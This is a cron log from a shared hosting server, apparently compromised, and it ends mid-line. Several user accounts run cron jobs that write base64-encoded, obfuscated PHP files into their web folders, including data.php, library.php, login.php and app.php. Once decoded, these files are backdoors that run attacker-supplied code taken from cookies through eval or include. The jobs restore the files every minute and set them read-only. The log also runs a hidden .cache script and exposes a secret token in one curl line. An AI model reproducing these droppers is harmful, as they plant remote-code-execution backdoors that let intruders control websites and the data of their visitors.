Jun  7 03:56:02 medusa CROND[31231]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:57:02 medusa CROND[32746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:57:02 medusa CROND[32747]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:57:02 medusa CROND[32748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 03:57:02 medusa CROND[32749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:57:02 medusa CROND[32751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:57:02 medusa CROND[32753]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:57:02 medusa CROND[32752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:57:02 medusa CROND[32754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:57:02 medusa CROND[32755]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:57:02 medusa CROND[32758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:57:02 medusa CROND[32763]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:57:02 medusa CROND[300]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:58:01 medusa CROND[2177]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 03:58:01 medusa CROND[2184]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:58:01 medusa CROND[2217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:58:01 medusa CROND[2218]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:58:01 medusa CROND[2220]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:58:01 medusa CROND[2221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 03:58:01 medusa CROND[2222]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:58:01 medusa CROND[2223]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:58:01 medusa CROND[2219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:58:01 medusa CROND[2224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:58:01 medusa CROND[2225]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:58:01 medusa CROND[2227]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:58:01 medusa CROND[2232]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 03:58:01 medusa CROND[2237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:59:01 medusa CROND[3949]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 03:59:01 medusa CROND[3956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:59:01 medusa CROND[3955]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:59:01 medusa CROND[3958]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScg